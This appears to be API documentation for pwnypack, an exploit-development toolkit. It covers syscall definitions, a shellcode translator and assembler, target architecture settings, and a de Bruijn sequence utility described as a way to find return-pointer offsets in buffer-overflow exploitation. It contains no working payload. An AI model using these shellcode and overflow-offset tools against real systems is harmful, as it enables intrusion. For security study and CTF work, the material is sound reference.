sys_semget = SyscallDef(sys_semget: int, int, int)
sys_semop = SyscallDef(sys_semop: int, void *, int)
sys_semtimedop = SyscallDef(sys_semtimedop: int, void *, int, void *)
sys_send = SyscallDef(sys_send: int, void *, int, int)
sys_sendfile = SyscallDef(sys_sendfile: int, int, void *, int)
sys_sendfile64 = SyscallDef(sys_sendfile64: int, int, void *, int)
sys_sendmmsg = SyscallDef(sys_sendmmsg: int, void *, int, int)
sys_sendmsg = SyscallDef(sys_sendmsg: int, void *, int)
sys_sendto = SyscallDef(sys_sendto: int, void *, int, int, void *, int)
sys_set_mempolicy = SyscallDef(sys_set_mempolicy: int, void *, int)
sys_set_robust_list = SyscallDef(sys_set_robust_list: void *, int)
sys_set_tid_address = SyscallDef(sys_set_tid_address: void *)
sys_setdomainname = SyscallDef(sys_setdomainname: void **, int)
sys_setfsgid = SyscallDef(sys_setfsgid: int)
sys_setfsgid16 = SyscallDef(sys_setfsgid16: int)
sys_setfsuid = SyscallDef(sys_setfsuid: int)
sys_setfsuid16 = SyscallDef(sys_setfsuid16: int)
sys_setgid = SyscallDef(sys_setgid: int)
sys_setgid16 = SyscallDef(sys_setgid16: int)
sys_setgroups = SyscallDef(sys_setgroups: int, void *)
sys_setgroups16 = SyscallDef(sys_setgroups16: int, void *)
sys_sethostname = SyscallDef(sys_sethostname: void **, int)
sys_setitimer = SyscallDef(sys_setitimer: int, void *, void *)
sys_setns = SyscallDef(sys_setns: int, int)
sys_setpgid = SyscallDef(sys_setpgid: int, int)
sys_setpriority = SyscallDef(sys_setpriority: int, int, int)
sys_setregid = SyscallDef(sys_setregid: int, int)
sys_setregid16 = SyscallDef(sys_setregid16: int, int)
sys_setresgid = SyscallDef(sys_setresgid: int, int, int)
sys_setresgid16 = SyscallDef(sys_setresgid16: int, int, int)
sys_setresuid = SyscallDef(sys_setresuid: int, int, int)
sys_setresuid16 = SyscallDef(sys_setresuid16: int, int, int)
sys_setreuid = SyscallDef(sys_setreuid: int, int)
sys_setreuid16 = SyscallDef(sys_setreuid16: int, int)
sys_setrlimit = SyscallDef(sys_setrlimit: int, void *)
sys_setsid = SyscallDef(sys_setsid)
sys_setsockopt = SyscallDef(sys_setsockopt: int, int, int, void **, int)
sys_settimeofday = SyscallDef(sys_settimeofday: void *, void *)
sys_setuid = SyscallDef(sys_setuid: int)
sys_setuid16 = SyscallDef(sys_setuid16: int)
sys_setxattr = SyscallDef(sys_setxattr: void **, void **, void *, int, int)
sys_sgetmask = SyscallDef(sys_sgetmask)
sys_shmat = SyscallDef(sys_shmat: int, void **, int)
sys_shmctl = SyscallDef(sys_shmctl: int, int, void *)
sys_shmdt = SyscallDef(sys_shmdt: void **)
sys_shmget = SyscallDef(sys_shmget: int, int, int)
sys_shutdown = SyscallDef(sys_shutdown: int, int)
sys_sigaction = SyscallDef(sys_sigaction: int, void *, void *)
sys_sigaltstack = SyscallDef(sys_sigaltstack: void *, void *)
sys_signal = SyscallDef(sys_signal: int, void *)
sys_signalfd = SyscallDef(sys_signalfd: int, void *, int)
sys_signalfd4 = SyscallDef(sys_signalfd4: int, void *, int, int)
sys_sigpending = SyscallDef(sys_sigpending: void *)
sys_sigprocmask = SyscallDef(sys_sigprocmask: int, void *, void *)
sys_sigsuspend = SyscallDef(sys_sigsuspend: int, int, int)
sys_socket = SyscallDef(sys_socket: int, int, int)
sys_socketcall = SyscallDef(sys_socketcall: int, void *)
sys_socketpair = SyscallDef(sys_socketpair: int, int, int, void *)
sys_splice = SyscallDef(sys_splice: int, void *, int, void *, int, int)
sys_spu_create = SyscallDef(sys_spu_create: void **, int, int, int)
sys_spu_run = SyscallDef(sys_spu_run: int, void *, void *)
sys_ssetmask = SyscallDef(sys_ssetmask: int)
sys_stat = SyscallDef(sys_stat: void **, void *)
sys_stat64 = SyscallDef(sys_stat64: void **, void *)
sys_statfs = SyscallDef(sys_statfs: void **, void *)
sys_statfs64 = SyscallDef(sys_statfs64: void **, int, void *)
sys_stime = SyscallDef(sys_stime: void *)
sys_swapoff = SyscallDef(sys_swapoff: void **)
sys_swapon = SyscallDef(sys_swapon: void **, int)
sys_symlinkat = SyscallDef(sys_symlinkat: void **, int, void **)
sys_sync = SyscallDef(sys_sync)
sys_sync_file_range = SyscallDef(sys_sync_file_range: int, int, int, int)
sys_sync_file_range2 = SyscallDef(sys_sync_file_range2: int, int, int, int)
sys_syncfs = SyscallDef(sys_syncfs: int)
sys_sysctl = SyscallDef(sys_sysctl: void *)
sys_sysfs = SyscallDef(sys_sysfs: int, int, int)
sys_sysinfo = SyscallDef(sys_sysinfo: void *)
sys_syslog = SyscallDef(sys_syslog: int, void **, int)
sys_tee = SyscallDef(sys_tee: int, int, int, int)
sys_tgkill = SyscallDef(sys_tgkill: int, int, int)
sys_time = SyscallDef(sys_time: void *)
sys_timer_create = SyscallDef(sys_timer_create: int, void *, void *)
sys_timer_delete = SyscallDef(sys_timer_delete: int)
sys_timer_getoverrun = SyscallDef(sys_timer_getoverrun: int)
sys_timer_gettime = SyscallDef(sys_timer_gettime: int, void *)
sys_timer_settime = SyscallDef(sys_timer_settime: int, int, void *, void *)
sys_timerfd_create = SyscallDef(sys_timerfd_create: int, int)
sys_timerfd_gettime = SyscallDef(sys_timerfd_gettime: int, void *)
sys_timerfd_settime = SyscallDef(sys_timerfd_settime: int, int, void *, void *)
sys_times = SyscallDef(sys_times: void *)
sys_tkill = SyscallDef(sys_tkill: int, int)
sys_truncate = SyscallDef(sys_truncate: void **, int)
sys_truncate64 = SyscallDef(sys_truncate64: void **, int)
sys_umask = SyscallDef(sys_umask: int)
sys_umount = SyscallDef(sys_oldumount: void **)
sys_umount2 = SyscallDef(sys_umount: void **, int)
sys_uname = SyscallDef(sys_uname: void *)
sys_unlinkat = SyscallDef(sys_unlinkat: int, void **, int)
sys_unshare = SyscallDef(sys_unshare: int)
sys_uselib = SyscallDef(sys_uselib: void **)
sys_userfaultfd = SyscallDef(sys_userfaultfd: int)
sys_ustat = SyscallDef(sys_ustat: int, void *)
sys_utime = SyscallDef(sys_utime: void **, void *)
sys_utimensat = SyscallDef(sys_utimensat: int, void **, void *, int)
sys_utimes = SyscallDef(sys_utimes: void **, void *)
sys_vfork = SyscallDef(sys_vfork)
sys_vhangup = SyscallDef(sys_vhangup)
sys_vmsplice = SyscallDef(sys_vmsplice: int, void *, int, int)
sys_wait4 = SyscallDef(sys_wait4: int, void *, int, void *)
sys_waitid = SyscallDef(sys_waitid: int, int, void *, int, void *)
sys_waitpid = SyscallDef(sys_waitpid: int, void *, int)
sys_write = SyscallDef(sys_write: int, void **, int)
sys_writev = SyscallDef(sys_writev: int, void *, int)

base – Base environment

class pwnypack.shellcode.base.BaseEnvironment[source]

The abstract base for all shellcode environments.

REGISTER_WIDTH = None

Mapping of register -> width, filled by __init__ based on REGISTER_WIDTH_MAP

class TranslateOutput[source]

Output format the translate function.

assembly = None

Emit assembly source.

code = None

Emit binary, executable code.

meta = None

Emit the declarative version of the translated function.

BaseEnvironment.alloc_buffer(length)[source]

Allocate a buffer (a range of uninitialized memory).

Parameters:length (int) – The length of the buffer to allocate.
Returns:The object used to address this buffer.
Return type:Buffer
BaseEnvironment.alloc_data(value)[source]

Allocate a piece of data that will be included in the shellcode body.

Parameters:value – The value to add to the shellcode. Can be bytes or string type.
Returns:The offset used to address the data.
Return type:Offset
BaseEnvironment.assemble(ops)[source]

Assemble a list of operations into executable code.

Parameters:ops (list) – A list of shellcode operations.
Returns:The executable code that implements the shellcode.
Return type:bytes
BaseEnvironment.compile(ops)[source]

Translate a list of operations into its assembler source.

Parameters:ops (list) – A list of shellcode operations.
Returns:The assembler source code that implements the shellcode.
Return type:str
BaseEnvironment.reg_add(reg, value)[source]

Add a value to a register. The value can be another Register, an Offset, a Buffer, an integer or None.

Parameters:
  • reg (pwnypack.shellcode.types.Register) – The register to add the value to.
  • value – The value to add to the register.
Returns:

A list of mnemonics that will add value to reg.

Return type:

list

BaseEnvironment.reg_load(reg, value)[source]

Load a value into a register. The value can be a string or binary (in which case the value is passed to alloc_data()), another Register, an Offset or Buffer, an integer immediate, a list or tuple or a syscall invocation.

Parameters:
  • reg (pwnypack.shellcode.types.Register) – The register to load the value into.
  • value – The value to load into the register.
Returns:

A list of mnemonics that will load value into reg.

Return type:

list

classmethod BaseEnvironment.translate(f=None, *, output=TranslateOutput.code, **kwargs)[source]

Decorator that turns a function into a shellcode emitting function.

Parameters:
  • f (callable) – The function to decorate. If f is None a decorator will be returned instead.
  • output (TranslateOutput) – The output format the shellcode function will produce.
  • **kwargs – Keyword arguments are passed to shellcode environment constructor.
Returns:

A decorator that will translate the given function into a shellcode generator

Examples

>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_exit(0)
>>> @sc.LinuxX86Mutable.translate(output=1)
... def shellcode():
...     sys_exit(0)

translate – Python translator

pwnypack.shellcode.translate.translate(env, func, *args, **kwargs)[source]

Given a shellcode environment, a function and its parameters, translate the function to a list of shellcode operations ready to be compiled or assembled using compile() or assemble().

Parameters:
  • env (Base) – An instance of a shellcode environment.
  • func (callable) – The function to translate to shellcode.
  • args – The positional arguments for the function.
  • kwargs – The keyword arguments for the function.
Returns:

The high-level shellcode operations.

Return type:

list

pwnypack.shellcode.translate.fragment(f)[source]

Decorator to turn a function into a shellcode fragment that can be called as a function from within a translated function.

Parameters:f (callable) – The function to mark as a shellcode fragment.
Returns:The decorated shellcode fragment.
Return type:callable

target – Target definition

The Target class describes the architecture of a targeted machine, executable or environment. It encodes the generic architecture, the word size, the byte order and an architecture dependant mode.

It is used throughout pwnypack to determine how data should be interpreted or emitted.

class pwnypack.target.Target(arch=None, bits=None, endian=None, mode=0)[source]

Bases: object

class Arch[source]

Bases: enum.Enum

Describes the general architecture of a target.

arm = None

ARM architecture.

unknown = None

Any other architecture.

x86 = None

X86 architecture.

class Target.Bits[source]

Bases: enum.IntEnum

The target architecture’s word size.

bits_32 = None

32 bit word size.

bits_64 = None

64 bit word size.

class Target.Endian[source]

Bases: enum.IntEnum

The target architecture’s byte order.

big = None

Big endian.

little = None

Little endian.

class Target.Mode[source]

Bases: enum.IntEnum

Architecture dependant mode flags.

arm_m_class = None

Use ARMv7-M instruction set

arm_thumb = None

Use ARM Thumb instruction set

arm_v8 = None

Use ARM V8 instruction set

Target.arch

The target’s architecture. One of Target.Arch.

Target.assume(other)[source]

Assume the identity of another target. This can be useful to make the global target assume the identity of an ELF executable.

Parameters:other (Target) – The target whose identity to assume.

Example

>>> from pwny import *
>>> target.assume(ELF('my-executable'))
Target.bits

The target architecture word size. One of Target.Bits.

Target.endian

The target architecture byte order. One of Target.Endian.

Target.mode

The target architecture dependant flags. OR’ed values of Target.Mode.

pwnypack.target.target = Target(arch=x86,bits=64,endian=little,mode=0)

The global, default target. If no targeting information is provided to a function, this is the target that will be used.

util – Utility functions

The util module contains various utility functions.

pwnypack.util.cycle(length, width=4)[source]

Generate a de Bruijn sequence of a given length (and width). A de Bruijn sequence is a set of varying repetitions where each sequence of n characters is unique within the sequence. This type of sequence can be used to easily find the offset to the return pointer when exploiting a buffer overflow.

Parameters:
  • length (int) – The length of the sequence to generate.
  • width (int) – The width of each element in the sequence.
Returns:

The sequence.

Return type:

str

Example

>>> from pwny import *
>>> cycle(80)
AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAA
pwnypack.util.cycle_find(key, width=4)[source]

Given an element of a de Bruijn sequence, find its index in that sequence.

Parameters:
  • key (str) – The piece of the de Bruijn sequence to find.
  • width (int) – The width of each element in the sequence.
Returns:

The index of key in the de Bruijn sequence.

Return type:

int

pwnypack.util.reghex(pattern)[source]

Compile a regular hexpression (a short form regular expression subset specifically designed for searching for binary strings).

A regular hexpression consists of hex tuples interspaced with control characters. The available control characters are:

  • ?: Any byte (optional).
  • .: Any byte (required).
  • ?{n}: A set of 0 up to n bytes.
  • .{n}: A set of exactly n bytes.
  • *: Any number of bytes (or no bytes at all).
  • +: Any number of bytes (at least one byte).
Parameters:pattern (str) – The reghex pattern.
Returns:A regular expression as returned by re.compile().
Return type:regexp

Indices and tables